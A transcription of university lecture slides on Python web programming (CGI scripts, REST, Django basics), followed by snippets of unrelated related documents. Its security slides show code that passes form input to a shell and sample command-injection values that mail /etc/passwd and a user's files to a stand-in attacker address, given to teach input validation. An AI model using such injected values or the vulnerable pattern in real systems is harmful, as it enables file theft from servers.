Slides from INF3331 lectures - web programming in Python
|
|
|
- Dwain Spencer
- 8 years ago
- Views:
Transcription
1 Slides from INF3331 lectures - web programming in Python Joakim Sundnes & Hans Petter Langtangen Dept. of Informatics, Univ. of Oslo & Simula Research Laboratory October 2013
2 Programming web applications in Python Programming web applications in Python p. 2/34
3 Overview Intro CGI scripts in Python RESTful web services Intro to Django Programming web applications in Python p. 3/34
4 More info Chapter 7 in the course book The Django book ( Pydoc cgi, django, (sqlite3) Programming web applications in Python p. 4/34
5 Interactive Web pages Topic: interactive Web pages (or: GUI on the Web) Methods: Java applets (downloaded) JavaScript code (downloaded) CGI script on the server PHP (Hypertext preprocessor, script on server) Django framework, app on server Ruby on Rails, app on server Perl and Python are very popular for CGI programming Django is a Python-based framework for database oriented interactive web pages Programming web applications in Python p. 5/34
6 Scientific Hello World on the Web (CGI script) Web version of the Scientific Hello World GUI (examples in source code to Python scripting for computational science ) HTML allows GUI elements (FORM) Here: text ( Hello, World! ), text entry (for r) and a button equals for computing the sine of r HTML code: <HTML><BODY BGCOLOR="white"> <FORM ACTION="hw1.py.cgi" METHOD="POST"> Hello, World! The sine of <INPUT TYPE="text" NAME="r" SIZE="10" VALUE="1.2"> <INPUT TYPE="submit" VALUE="equals" NAME="equalsbutton"> </FORM></BODY></HTML> Programming web applications in Python p. 6/34
7 GUI elements in HTML forms HTML widget type: INPUT TYPE Variable holding input: NAME Default value: VALUE Widgets: one-line text entry, multi-line text area, option list, scrollable list, button Programming web applications in Python p. 7/34
8 The very basics of a CGI script Pressing "equals" (i.e. submit button) calls a script hw1.py.cgi <FORM ACTION="hw1.py.cgi" METHOD="POST"> Form variables are packed into a string and sent to the program Python has a cgi module that makes it very easy to extract variables from forms import cgi form = cgi.fieldstorage() r = form.getvalue("r") Grab r, compute sin(r), write an HTML page with (say) Hello, World! The sine of 2.4 equals Programming web applications in Python p. 8/34
9 A CGI script in Python Tasks: get r, compute the sine, write the result on a new Web page #!/store/bin/python import cgi, math # required opening of all CGI scripts with output: print "Content-type: text/html\n" # extract the value of the variable "r": form = cgi.fieldstorage() r = form.getvalue("r") s = str(math.sin(float(r))) # print answer (very primitive HTML code): print "Hello, World! The sine of %s equals %s" % (r,s) Programming web applications in Python p. 9/34
10 Remarks A CGI script is run by a nobody or www user Aheaderlike #!/usr/bin/env python relies on finding the first python program in the PATH variable, and a nobody has a PATH variable out of our control Hence, we need to specify the interpreter explicitly: #!/store/bin/python Old Python versions do not support form.getvalue, use instead r = form["r"].value Programming web applications in Python p. 10/34
11 An improved CGI script Last example: HTML page + CGI script; the result of sin(r) was written on a new Web page Next example: just a CGI script The user stays within the same dynamic page, a la the Scientific Hello World GUI Tasks: extract r, compute sin(r), write HTML form The CGI script calls itself Programming web applications in Python p. 11/34
12 The complete improved CGI script #!/store/bin/python import cgi, math print "Content-type: text/html\n" # std opening # extract the value of the variable "r": form = cgi.fieldstorage() r = form.getvalue( r ) if r is not None: s = str(math.sin(float(r))) else: s = ; r = # print complete form with value: print """ <HTML><BODY BGCOLOR="white"> <FORM ACTION="hw2.py.cgi" METHOD="POST"> Hello, World! The sine of <INPUT TYPE="text" NAME="r" SIZE="10" VALUE="%s"> <INPUT TYPE="submit" VALUE="equals" NAME="equalsbutton"> %s </FORM></BODY></HTML>\n""" % (r,s) Programming web applications in Python p. 12/34
13 Debugging CGI scripts What happens if the CGI script contains an error? Browser just responds "Internal Server Error" a nightmare Start your Python CGI scripts with import cgitb; cgitb.enable() to turn on nice debugging facilities: Python errors now appear nicely formatted in the browser Programming web applications in Python p. 13/34
14 Debugging rule no. 1 Always run the CGI script from the command line before trying it in a browser! unix> export QUERY_STRING="r=1.4" unix>./hw2.py.cgi > tmp.html # don t run python hw2.py.cgi! unix> cat tmp.html Load tmp.html into a browser and view the result Multiple form variables are set like this: QUERY_STRING="name=Some Body&phone= " Programming web applications in Python p. 14/34
15 Potential problems with CGI scripts Permissions you have as CGI script owner are usually different from the permissions of a nobody, e.g., file writing requires write permission for all users Environment variables (PATH, HOME etc.) are normally not available to a nobody Make sure the CGI script is in a directory where they are allowed to be executed (some systems require CGI scripts to be in special cgi-bin directories) Check that the header contains the right path to the interpreter on the Web server Good check: log in as another user (you become a nobody!) and try your script Programming web applications in Python p. 15/34
16 Security issues Suppose you ask for the user s in a Web form Suppose the form is processed by this code: if "mailaddress" in form: mailaddress = form.getvalue("mailaddress") note = "Thank you!" # send a mail: mail = os.popen("/usr/lib/sendmail " + mailaddress, w ) mail.write("...") mail.close() What happens if somebody gives this "address": x; mail evilhacker@some.where < /etc/passwd?? Programming web applications in Python p. 16/34
17 Even worse things can happen... Another "address": x; tar cf - /hom/hpl mail evilhacker@some.where sends out all my files that anybody can read Perhaps my password or credit card number reside in any of these files? The evilhacker can also feed Mb/Gb of data into the system to load the server Rule: Do not copy form input blindly to system commands! Programming web applications in Python p. 17/34
18 Remedy Could test for bad characters like &; \" *?~<>^()[]{}\n\r Better: test for legal set of characters # expect text and numbers: if re.search(r [^a-za-z0-9], input): # stop processing Always be careful with launching shell commands; check possibilities for unsecure side effects Programming web applications in Python p. 18/34
19 CGI limitations Lots of repetitive code Somewhat steep learning curve Limitations in code reuse Each request starts a separate process... Tools such as PHP, Ruby on Rails and Django were developed to overcome these problems. Programming web applications in Python p. 19/34
20 REST intro REST intro p. 20/34
21 RESTful web services (1) REST is a set of architecture design principles for web applications ( Representational State Transfer ) Standard HTTP for communication (GET, PUT, POST, DELETE) Independent of platform and programming language Stateless communication Exposes underlying resources, each resource has a unique identifier (URI/URL) REST intro p. 21/34
22 RESTful web services(2) Request URL What? GET /stuff/ List all stuff objects GET /stuff/<id> Return stuff object with given id POST /stuff/[id] Create a new stuff object PUT /stuff/<id> Update a stuff object DELETE /stuff/<id> Delete a stuff object REST intro p. 22/34
23 RESTful web services(3) Request URL Maps to code GET /stuff/ Stuff.search() GET /stuff/<id> Stuff.get(id) POST /stuff/[id] Stuff.create(**kwargs) PUT /stuff/<id> Stuff.create(**kwargs) DELETE /stuff/<id> Stuff.delete(**kwargs) REST intro p. 23/34
24 RESTful web services (4) REST architecture is a resource oriented architecture (ROA), in contrast to service oriented architectures (SOA) Examples of RESTful APIs: restful_ api.html#public-restful-api REST intro p. 24/34
25 Django introduction Django introduction p. 25/34
26 Installing Django On ubuntu: sudo apt-get install python-django Other systems: tar xzvf Django final.tar.gz cd Django-* sudo python setup.py install Python (>2.5) ships with sqlite3, so no database installation is needed Django introduction p. 26/34
27 The MVC Design Pattern A typical, minimal Django app contains three python files and an HTML template: models.py typically defines the interface to a database, represented by a Python class. The class is used to retrieve, update and delete records in your database using simple Python code. The views.py defines what will be displayed on the page. The views.py will typically define a number of functions, each one is called a view. The simplest form of a view will just return HTML formatted text, not so different from a CGI script. For more flexibility, an HTML template is used. The urls.py file specifies which view is called for a given URL pattern. For instance, the URL could result in a call to a view function latest_books in views.py. HTML templates are used by the views to enable flexible output, and to separate the design of the we page from its contents. The python parts will be used and explained in the following examples. Django HTML templates is left as self study for the interested. Django introduction p. 27/34
28 Getting started django-admin startproject mysite (alternatively, depending on installation; python django-admin.py startproject mysite The startproject command creates the directory mysite, which contains the following files: manage.py: A command-line utility that lets you interact with this Django project in various ways. Type python manage.py help to get a feel for what it can do. You should never have to edit this file. settings.py: Settings/configuration for this Django project. Take a look at it to get an idea of the types of settings available, along with their default values. urls.py: The URLs for this Django project. Think of this as the table of contents of your Django-powered site. At the moment, it is empty. Django introduction p. 28/34
29 Running the development server (1) The Django development server is a built-in, lightweight Web server you can use while developing your site. Typing python manage.py runserver will give something like this Validating models... 0 errors found Django version 1.3.1, using settings mysite.settings Development server is running at Quit the server with CONTROL-C. Django introduction p. 29/34
30 Running the development server (2) Django introduction p. 30/34
31 A scientific Hello world view Contents may be added to the site by creating a file views.py with the following function from django.http import HttpResponse from math import sin def hello(request): arg = 1 return HttpResponse("Hello world, sin(% g)= % g" % (arg,sin(arg))) Django introduction p. 31/34
32 Adding a URLpattern The Hello world view will still not show up, because it is not mapped to a URL. We need to add a URLpattern to the file urls.py: urlpatterns = patterns(, \\ ( \ˆ hello/\$, hello)) } The pattern is a standard regular expression. Maps the URL mysite/hello/ to the function hello in views.py. Django introduction p. 32/34
33 An improved version The view is still not very useful, with a hard coded argument to the sine function. Changing the view function is trivial: from django.http import HttpResponse from math import sin def hello(request,arg=1): arg = float(arg) return HttpResponse("Hello world, sin(% g)= % g" % (arg,sin(arg))) And then the magic is added in urls.py: urlpatterns = patterns(, ( ˆhello/\$,hello), ( ˆhello/(\d+\.?\d *)/\$,hello) ) Django introduction p. 33/34
34 Brief summary CGI scripts in Python is a suitable tool for simple dynamic web pages Django and similar frameworks give increased flexibility and ease of use Python models CGI and django share the same principle; The user writes HTML code to standard output with print The module generates the complete HTTP response (Django HTML templates improve flexibility over hard coded output Next: a (slightly) more advanced example, see; inf3331-djevelskap/tree/master/djevelskap Django introduction p. 34/34
Django Web Framework. Zhaojie Zhang CSCI5828 Class Presenta=on 03/20/2012
Django Web Framework Zhaojie Zhang CSCI5828 Class Presenta=on 03/20/2012 Outline Web frameworks Why python? Why Django? Introduc=on to Django An example of Django project Summary of benefits and features
Nupic Web Application development
Nupic Web Application development Contents Focus in... 1 Why to build a Web Application?... 1 The common data flow schema... 1 Tools... 2 Preparations... 2 Download/Install Django... 2 Check if Django
Using Python, Django and MySQL in a Database Course
Using Python, Django and MySQL in a Database Course Thomas B. Gendreau Computer Science Department University of Wisconsin - La Crosse La Crosse, WI 54601 gendreau@cs.uwlax.edu Abstract Software applications
Web Application Frameworks. Robert M. Dondero, Ph.D. Princeton University
Web Application Frameworks Robert M. Dondero, Ph.D. Princeton University 1 Objectives You will learn about: The Django web app framework Other MVC web app frameworks (briefly) Other web app frameworks
Web [Application] Frameworks
![Web [Application] Frameworks](/thumbs/27/12299655.jpg "Web [Application] Frameworks")
Web [Application] Frameworks conventional approach to building a web service write ad hoc client code in HTML, CSS, Javascript,... by hand write ad hoc server code in [whatever] by hand write ad hoc access
Forms, CGI Objectives. HTML forms. Form example. Form example...
The basics of HTML forms How form content is submitted GET, POST Elements that you can have in forms Responding to forms Common Gateway Interface (CGI) Later: Servlets Generation of dynamic Web content
latest Release 0.2.6
latest Release 0.2.6 August 19, 2015 Contents 1 Installation 3 2 Configuration 5 3 Django Integration 7 4 Stand-Alone Web Client 9 5 Daemon Mode 11 6 IRC Bots 13 7 Bot Events 15 8 Channel Events 17 9
Web [Application] Frameworks
![Web [Application] Frameworks](/thumbs/32/15429410.jpg "Web [Application] Frameworks")
Web [Application] Frameworks conventional approach to building a web service write ad hoc client code in HTML, CSS, Javascript,... by hand write ad hoc server code in [whatever] by hand write ad hoc access
Table of Contents. Table of Contents
Table of Contents Table of Contents Chapter 1: Introduction to Django... 6 What Is a Web Framework?... 6 The MVC Design Pattern... 7 Django s History... 8 How to Read This Book... 9 Chapter 2: Getting
EECS 398 Project 2: Classic Web Vulnerabilities
EECS 398 Project 2: Classic Web Vulnerabilities Revision History 3.0 (October 27, 2009) Revise CSRF attacks 1 and 2 to make them possible to complete within the constraints of the project. Clarify that
Introduction to FreeNAS development
Introduction to FreeNAS development John Hixson john@ixsystems.com ixsystems, Inc. Abstract FreeNAS has been around for several years now but development on it has been by very few people. Even with corporate
django-gcm Documentation
django-gcm Documentation Release 0.9.3 Adam Bogdal August 23, 2015 Contents 1 Quickstart 3 2 Sending messages 5 2.1 Multicast message............................................ 5 3 Signals 7 4 Extending
Modern Web Application Framework Python, SQL Alchemy, Jinja2 & Flask
Modern Web Application Framework Python, SQL Alchemy, Jinja2 & Flask Devert Alexandre December 29, 2012 Slide 1/62 Table of Contents 1 Model-View-Controller 2 Flask 3 First steps 4 Routing 5 Templates
Web Development: Techniques for Handling Content. Shelley Slaey June 2, 2014
Web Development: Techniques for Handling Content Shelley Slaey June 2, 2014 Web Background Author User (Client) Web Server (Server) Web Background Request Response Web Server Request Web Browser Response
Ruby On Rails. CSCI 5449 Submitted by: Bhaskar Vaish
Ruby On Rails CSCI 5449 Submitted by: Bhaskar Vaish What is Ruby on Rails? Ruby on Rails is a web application framework written in Ruby, a dynamic programming language. Ruby on Rails uses the Model-View-Controller
depl Documentation Release 0.0.1 depl contributors
depl Documentation Release 0.0.1 depl contributors December 19, 2013 Contents 1 Why depl and not ansible, puppet, chef, docker or vagrant? 3 2 Blog Posts talking about depl 5 3 Docs 7 3.1 Installation
Introduction to web development with Python and Django Documentation
Introduction to web development with Python and Django Documentation Release 0.1 Greg Loyse August 22, 2014 Contents 1 Introduction 3 1.1 The Internet............................................... 3
7 Why Use Perl for CGI?
7 Why Use Perl for CGI? Perl is the de facto standard for CGI programming for a number of reasons, but perhaps the most important are: Socket Support: Perl makes it easy to create programs that interface
UQC103S1 UFCE47-20-1. Systems Development. uqc103s/ufce47-20-1 PHP-mySQL 1
UQC103S1 UFCE47-20-1 Systems Development uqc103s/ufce47-20-1 PHP-mySQL 1 Who? Email: uqc103s1@uwe.ac.uk Web Site www.cems.uwe.ac.uk/~jedawson www.cems.uwe.ac.uk/~jtwebb/uqc103s1/ uqc103s/ufce47-20-1 PHP-mySQL
Rapid Website Deployment With Django, Heroku & New Relic
TUTORIAL Rapid Website Deployment With Django, Heroku & New Relic by David Sale Contents Introduction 3 Create Your Website 4 Defining the Model 6 Our Views 7 Templates 7 URLs 9 Deploying to Heroku 10
OCS Training Workshop LAB13. Ethernet FTP and HTTP servers
OCS Training Workshop LAB13 Ethernet FTP and HTTP servers Introduction The training module will introduce the FTP and Web hosting capabilities of the OCS product family. The user will be instructed in
Lecture 11 Web Application Security (part 1)
Lecture 11 Web Application Security (part 1) Computer and Network Security 4th of January 2016 Computer Science and Engineering Department CSE Dep, ACS, UPB Lecture 11, Web Application Security (part 1)
Introduction to Django Web Framework
Introduction to Django Web Framework Web application development seminar, Fall 2007 Jaakko Salonen Jukka Huhtamäki 1 http://www.djangoproject.com/ Django
Introduction to CloudScript
Introduction to CloudScript A NephoScale Whitepaper Authors: Nick Peterson, Alan Meadows Date: 2012-07-06 CloudScript is a build language for the cloud. It is a simple Domain Specific Language (DSL) that
10CS73:Web Programming
10CS73:Web Programming Question Bank Fundamentals of Web: 1.What is WWW? 2. What are domain names? Explain domain name conversion with diagram 3.What are the difference between web browser and web server
Effective Django. Build 2015.10.18. Nathan Yergler
Effective Django Build 2015.10.18 Nathan Yergler 18 October 2015 CONTENTS 1 Getting Started 3 1.1 Your Development Environment..................................... 3 1.2 Setting Up Your Environment......................................
Embedded Based Web Server for CMS and Automation System
Embedded Based Web Server for CMS and Automation System ISSN: 2278 909X All Rights Reserved 2014 IJARECE 1073 ABSTRACT This research deals with designing a Embedded Based Web Server for CMS and Automation
WebIOPi. Installation Walk-through Macros
WebIOPi Installation Walk-through Macros Installation Install WebIOPi on your Raspberry Pi Download the tar archive file: wget www.cs.unca.edu/~bruce/fall14/webiopi-0.7.0.tar.gz Uncompress: tar xvfz WebIOPi-0.7.0.tar.gz
Publish Acrolinx Terminology Changes via RSS
Publish Acrolinx Terminology Changes via RSS Only a limited number of people regularly access the Acrolinx Dashboard to monitor updates to terminology, but everybody uses an email program all the time.
Magento Search Extension TECHNICAL DOCUMENTATION
CHAPTER 1... 3 1. INSTALLING PREREQUISITES AND THE MODULE (APACHE SOLR)... 3 1.1 Installation of the search server... 3 1.2 Configure the search server for usage with the search module... 7 Deploy the
Oracle Forms Services Secure Web.Show_Document() calls to Oracle Reports Server 6i
Oracle Forms Services Secure Web.Show_Document() calls to Oracle Reports Server 6i $Q2UDFOH7HFKQLFDO:KLWHSDSHU 0DUFK Secure Web.Show_Document() calls to Oracle Reports Server 6i Introduction...3 solution
Web Development Frameworks. Matthias Korn <mkorn@cs.au.dk>
Web Development Frameworks Matthias Korn 1 Overview Frameworks Introduction to CakePHP CakePHP in Practice 2 Web application frameworks Web application frameworks help developers build
APACHE WEB SERVER. Andri Mirzal, PhD N28-439-03
APACHE WEB SERVER Andri Mirzal, PhD N28-439-03 Introduction The Apache is an open source web server software program notable for playing a key role in the initial growth of the World Wide Web Typically
CPE111 COMPUTER EXPLORATION
CPE111 COMPUTER EXPLORATION BUILDING A WEB SERVER ASSIGNMENT You will create your own web application on your local web server in your newly installed Ubuntu Desktop on Oracle VM VirtualBox. This is a
Django on AppEngine Documentation
Django on AppEngine Documentation Release Sebastian Pawluś October 18, 2014 Contents 1 Installation 3 1.1 Download latest Google AppEngine SDK................................ 3 1.2 Install Django..............................................
IBM DB2 for Linux, UNIX, and Windows. Deploying IBM DB2 Express-C with PHP on Ubuntu Linux
IBM DB2 for Linux, UNIX, and Windows Best practices Deploying IBM DB2 Express-C with PHP on Ubuntu Linux Craig Tobias Software Developer IBM Canada Laboratory Farzana Anwar DB2 Information Developer IBM
DevKey Documentation. Release 0.1. Colm O Connor
DevKey Documentation Release 0.1 Colm O Connor March 23, 2015 Contents 1 Quickstart 3 2 FAQ 5 3 Release Notes 7 i ii DevKey Documentation, Release 0.1 Github PyPI Contents 1 DevKey Documentation, Release
Whisler 1 A Graphical User Interface and Database Management System for Documenting Glacial Landmarks
Whisler 1 A Graphical User Interface and Database Management System for Documenting Glacial Landmarks Whisler, Abbey, Paden, John, CReSIS, University of Kansas awhisler08@gmail.com Abstract The Landmarks
Web Development with Flask and the Raspberry Pi Leading by Example CUAUHTEMOC CARBAJAL ITESM CEM 22/04/2014
Web Development with Flask and the Raspberry Pi Leading by Example CUAUHTEMOC CARBAJAL ITESM CEM 22/04/2014 Introduction Flask: lightweight web application framework written in Python and based on the
Advanced Tornado TWENTYONE. 21.1 Advanced Tornado. 21.2 Accessing MySQL from Python LAB
21.1 Advanced Tornado Advanced Tornado One of the main reasons we might want to use a web framework like Tornado is that they hide a lot of the boilerplate stuff that we don t really care about, like escaping
Fax via HTTP (POST) Traitel Telecommunications Pty Ltd 2012 Telephone: (61) (2) 9032 2700. Page 1
Fax via HTTP (POST) Page 1 Index: Introduction:...3 Usage:...3 Page 2 Introduction: TraiTel Telecommunications offers several delivery methods for its faxing service. This document will describe the HTTP/POST
Installing and Running the Google App Engine On Windows
Installing and Running the Google App Engine On Windows This document describes the installation of the Google App Engine Software Development Kit (SDK) on a Microsoft Windows and running a simple hello
WEB2CS INSTALLATION GUIDE
WEB2CS INSTALLATION GUIDE FOR XANDMAIL XandMail 32, rue de Cambrai 75019 PARIS - FRANCE Tel : +33 (0)1 40 388 700 - http://www.xandmail.com TABLE OF CONTENTS 1. INSTALLING WEB2CS 3 1.1. RETRIEVING THE
An Oracle White Paper June 2014. RESTful Web Services for the Oracle Database Cloud - Multitenant Edition
An Oracle White Paper June 2014 RESTful Web Services for the Oracle Database Cloud - Multitenant Edition 1 Table of Contents Introduction to RESTful Web Services... 3 Architecture of Oracle Database Cloud
CrownPeak Playbook CrownPeak Hosting with PHP
CrownPeak Playbook CrownPeak Hosting with PHP Version 1.0 2014, Inc. All rights reserved. No part of this document may be reproduced or transmitted in any form or by any means, electronic or mechanical,
Web framework for Python. Django Book: pdf version
Web framework for Python Django Book: pdf version compiled by Suvash Sedhain bir2su.blogspot.com Visit www.djangobook.com for online version of the book The Django Book The Django Book Table of contents
If your organization is not already
Before you build your Web site, you need a solid design. Eden Watt At a Glance When you develop your first e-commerce site, you will discover that there are a few new things to learn about application
A WEB INTERFACE FOR NATURAL LANGUAGE PROCESSING DRIVEN FAQ WEBSITE. A Thesis. Presented to the. Faculty of. San Diego State University
A WEB INTERFACE FOR NATURAL LANGUAGE PROCESSING DRIVEN FAQ WEBSITE A Thesis Presented to the Faculty of San Diego State University In Partial Fulfillment of the Requirements for the Degree Master of Science
Integrity Checking and Monitoring of Files on the CASTOR Disk Servers
Integrity Checking and Monitoring of Files on the CASTOR Disk Servers Author: Hallgeir Lien CERN openlab 17/8/2011 Contents CONTENTS 1 Introduction 4 1.1 Background...........................................
Web Frameworks. web development done right. Course of Web Technologies A.A. 2010/2011 Valerio Maggio, PhD Student Prof.
Web Frameworks web development done right Course of Web Technologies A.A. 2010/2011 Valerio Maggio, PhD Student Prof.ssa Anna Corazza Outline 2 Web technologies evolution Web frameworks Design Principles
Installation of PHP, MariaDB, and Apache
Installation of PHP, MariaDB, and Apache A few years ago, one would have had to walk over to the closest pizza store to order a pizza, go over to the bank to transfer money from one account to another
1. When will an IP process drop a datagram? 2. When will an IP process fragment a datagram? 3. When will a TCP process drop a segment?
Questions 1. When will an IP process drop a datagram? 2. When will an IP process fragment a datagram? 3. When will a TCP process drop a segment? 4. When will a TCP process resend a segment? CP476 Internet
Creating a generic user-password application profile
Chapter 4 Creating a generic user-password application profile Overview If you d like to add applications that aren t in our Samsung KNOX EMM App Catalog, you can create custom application profiles using
Evolution of the Major Programming Languages
142 Evolution of the Major Programming Languages Object Oriented Programming: Smalltalk Object-Oriented: It s fundamental characteristics are: Data abstraction, Inheritance and Dynamic Binding. The essence
How To Understand The History Of The Web (Web)
(World Wide) Web WWW A way to connect computers that provide information (servers) with computers that ask for it (clients like you and me) uses the Internet, but it's not the same as the Internet URL
Outline. Lecture 18: Ruby on Rails MVC. Introduction to Rails
Outline Lecture 18: Ruby on Rails Wendy Liu CSC309F Fall 2007 Introduction to Rails Rails Principles Inside Rails Hello World Rails with Ajax Other Framework 1 2 MVC Introduction to Rails Agile Web Development
Develop a Native App (ios and Android) for a Drupal Website without Learning Objective-C or Java. Drupaldelphia 2014 By Joe Roberts
Develop a Native App (ios and Android) for a Drupal Website without Learning Objective-C or Java Drupaldelphia 2014 By Joe Roberts Agenda What is DrupalGap and PhoneGap? How to setup your Drupal website
Web development... the server side (of the force)
Web development... the server side (of the force) Fabien POULARD Document under license Creative Commons Attribution Share Alike 2.5 http://www.creativecommons.org/learnmore Web development... the server
COS 333: Advanced Programming Techniques
COS 333: Advanced Programming Techniques How to find me bwk@cs, www.cs.princeton.edu/~bwk 311 CS Building 609-258-2089 (but email is always better) TA's: Stephen Beard, Chris Monsanto, Srinivas Narayana,
Cisco Networking Academy Program Curriculum Scope & Sequence. Fundamentals of UNIX version 2.0 (July, 2002)
Cisco Networking Academy Program Curriculum Scope & Sequence Fundamentals of UNIX version 2.0 (July, 2002) Course Description: Fundamentals of UNIX teaches you how to use the UNIX operating system and
Web Cloud Architecture
Web Cloud Architecture Introduction to Software Architecture Jay Urbain, Ph.D. urbain@msoe.edu Credits: Ganesh Prasad, Rajat Taneja, Vikrant Todankar, How to Build Application Front-ends in a Service-Oriented
Rake Task Management Essentials
Rake Task Management Essentials Andrey Koleshko Chapter No. 8 "Testing Rake Tasks" In this package, you will find: A Biography of the author of the book A preview chapter from the book, Chapter NO.8 "Testing
Bubble Code Review for Magento
User Guide Author: Version: Website: Support: Johann Reinke 1.1 https://www.bubbleshop.net bubbleshop.net@gmail.com Table of Contents 1 Introducing Bubble Code Review... 3 1.1 Features... 3 1.2 Compatibility...
Internet Technologies. World Wide Web (WWW) Proxy Server Network Address Translator (NAT)
Internet Technologies World Wide Web (WWW) Proxy Server Network Address Translator (NAT) What is WWW? System of interlinked Hypertext documents Text, Images, Videos, and other multimedia documents navigate
IBM WebSphere Application Server V8.5 lab Basic Liberty profile administration using the job manager
IBM WebSphere Application Server V8.5 lab Basic Liberty profile administration using the job manager Scenario You are a system administrator responsible for managing web application server installations.
A Cost Effective GPS-GPRS Based Women Tracking System and Women Safety Application using Android Mobile
A Cost Effective GPS-GPRS Based Women Tracking System and Women Safety Application using Android Mobile Devendra Thorat, Kalpesh Dhumal, Aniket Sadaphule, Vikas Arade B.E Computer Engineering, Navsahyadri
Webmail Using the Hush Encryption Engine
Webmail Using the Hush Encryption Engine Introduction...2 Terms in this Document...2 Requirements...3 Architecture...3 Authentication...4 The Role of the Session...4 Steps...5 Private Key Retrieval...5
HTML Form Widgets. Review: HTML Forms. Review: CGI Programs
HTML Form Widgets Review: HTML Forms HTML forms are used to create web pages that accept user input Forms allow the user to communicate information back to the web server Forms allow web servers to generate
600-152 People Data and the Web Forms and CGI CGI. Facilitating interactive web applications
CGI Facilitating interactive web applications Outline In Informatics 1, worksheet 7 says You will learn more about CGI and forms if you enroll in Informatics 2. Now we make good on that promise. First
GUI and Web Programming
GUI and Web Programming CSE 403 (based on a lecture by James Fogarty) Event-based programming Sequential Programs Interacting with the user 1. Program takes control 2. Program does something 3. Program
COMPASS Database Work in 2014/15
COMPASS Database Work in 2014/15 Martin Bodlak Joined Czech Group, COMPASS Experiment at CERN 30 July 2015 COMPASS database servers in 888 PCCODB00 VIRTUAL ADDR PCCODB22 CLIENTS PCCODB21 PCCODB23 PCCODB20
Perl/CGI. CS 299 Web Programming and Design
Perl/CGI CGI Common: Gateway: Programming in Perl Interface: interacts with many different OSs CGI: server programsprovides uses a well-defined users with a method way to to gain interact access with to
Web Pages. Static Web Pages SHTML
1 Web Pages Htm and Html pages are static Static Web Pages 2 Pages tagged with "shtml" reveal that "Server Side Includes" are being used on the server With SSI a page can contain tags that indicate that
Rweb: Web-based Statistical Analysis
Rweb: Web-based Statistical Analysis Jeff Banfield Department of Mathematical Science Montana State University Bozeman, MT 59717 Abstract Rweb is a freely accessible statistical analysis environment that
Extending Remote Desktop for Large Installations. Distributed Package Installs
Extending Remote Desktop for Large Installations This article describes four ways Remote Desktop can be extended for large installations. The four ways are: Distributed Package Installs, List Sharing,
Using Dedicated Servers from the game
Quick and short instructions for running and using Project CARS dedicated servers on PC. Last updated 27.2.2015. Using Dedicated Servers from the game Creating multiplayer session hosted on a DS Joining
Beyond The Web Drupal Meets The Desktop (And Mobile) Justin Miller Code Sorcery Workshop, LLC http://codesorcery.net/dcdc
Beyond The Web Drupal Meets The Desktop (And Mobile) Justin Miller Code Sorcery Workshop, LLC http://codesorcery.net/dcdc Introduction Personal introduction Format & conventions for this talk Assume familiarity
Subversion Integration
Subversion Integration With the popular Subversion Source Control Management tool, users will find a flexible interface to integrate with their ExtraView bug-tracking system. Copyright 2008 ExtraView Corporation
User Manual version 3.1. Contents
User Manual version 3.1 Contents 1What is Confixx? General Information... 3 1.1 Login... 3 1.2 Settings Lag... 3 2 The Sections of the Web Interface... 3 3 General... 4 3.1 Overview... 4 3.2 Change Password...
ANDROID APPS DEVELOPMENT FOR MOBILE GAME
ANDROID APPS DEVELOPMENT FOR MOBILE GAME Lecture 7: Data Storage and Web Services Overview Android provides several options for you to save persistent application data. Storage Option Shared Preferences
User and Programmer Guide for the FI- STAR Monitoring Service SE
User and Programmer Guide for the FI- STAR Monitoring Service SE FI-STAR Beta Release Copyright 2014 - Yahya Al-Hazmi, Technische Universität Berlin This document gives a short guide on how to use the
LAMP [Linux. Apache. MySQL. PHP] Industrial Implementations Module Description
![LAMP [Linux. Apache. MySQL. PHP] Industrial Implementations Module Description](/thumbs/26/9110665.jpg "LAMP [Linux. Apache. MySQL. PHP] Industrial Implementations Module Description")
LAMP [Linux. Apache. MySQL. PHP] Industrial Implementations Module Description Mastering LINUX Vikas Debnath Linux Administrator, Red Hat Professional Instructor : Vikas Debnath Contact
FF/EDM Intro Industry Goals/ Purpose Related GISB Standards (Common Codes, IETF) Definitions d 4 d 13 Principles p 6 p 13 p 14 Standards s 16 s 25
FF/EDM Intro Industry Goals/ Purpose GISB defined two ways in which flat files could be used to send transactions and transaction responses: interactive and batch. This section covers implementation considerations
Django tutorial. October 22, 2010
Django tutorial October 22, 2010 1 Introduction In this tutorial we will make a sample Django application that uses all the basic Django components: Models, Views, Templates, Urls, Forms and the Admin
A SHORT INTRODUCTION TO DUPLICITY WITH CLOUD OBJECT STORAGE. Version 1.12 2014-07-01
A SHORT INTRODUCTION TO DUPLICITY WITH CLOUD OBJECT STORAGE Version 1.12 2014-07-01 PAGE _ 2 TABLE OF CONTENTS 1. Introduction....Page 03 2. System Configuration....Page 04 3. Create Backup Script....Page
By : Khalid Alfalqi Department of Computer Science, Umm Al-Qura University
By : Khalid Alfalqi Department of Computer Science, Umm Al-Qura University History of Web History of the Internet Basic Web System Architecture URL DNS Creating Static and Dynamic Information Security
The Einstein Depot server
The Einstein Depot server Have you ever needed a way to transfer large files to colleagues? Or allow a colleague to send large files to you? Do you need to transfer files that are too big to be sent as
Django Two-Factor Authentication Documentation
Django Two-Factor Authentication Documentation Release 1.3.1 Bouke Haarsma April 05, 2016 Contents 1 Requirements 3 1.1 Django.................................................. 3 1.2 Python..................................................
Selenium An Effective Weapon In The Open Source Armory
Selenium An Effective Weapon In The Open Source Armory Komal Joshi Director: Atlantis Software Limited Anand Ramdeo Head of Quality Assurance: GCAP Media Agenda Introduction to Selenium Selenium IDE Lets
Magento OpenERP Integration Documentation
Magento OpenERP Integration Documentation Release 2.0dev Openlabs Technologies & Consulting (P) Limited September 11, 2015 Contents 1 Introduction 3 1.1 Installation................................................
FOR PARALLELS / PLESK PANEL
WEB2CS INSTALLATION GUIDE FOR PARALLELS / PLESK PANEL HTTP://WWW.XANDMAIL.COM XandMail 32, rue de Cambrai 75019 PARIS - FRANCE Tel : +33 (0)1 40 388 700 - http://www.xandmail.com TABLE OF CONTENTS 1. INSTALLING
Oracle Forms Services Secure Web.Show_Document() calls to Oracle Reports
Oracle Forms Services Secure Web.Show_Document() calls to Oracle Reports $Q2UDFOH7HFKQLFDO:KLWHSDSHU )HEUXDU\ Secure Web.Show_Document() calls to Oracle Reports Introduction...3 Using Web.Show_Document
Reseller Manual. version 2.0-r1
Reseller Manual version 2.0-r1 Contents 1 Definition of Terms 3 2 Sections of the Reseller Interface 3 3 General 4 3.1 Overview.............................. 4 3.2 Change Password.........................
P-Synch by M-Tech Information Technology, Inc. ID-Synch by M-Tech Information Technology, Inc.
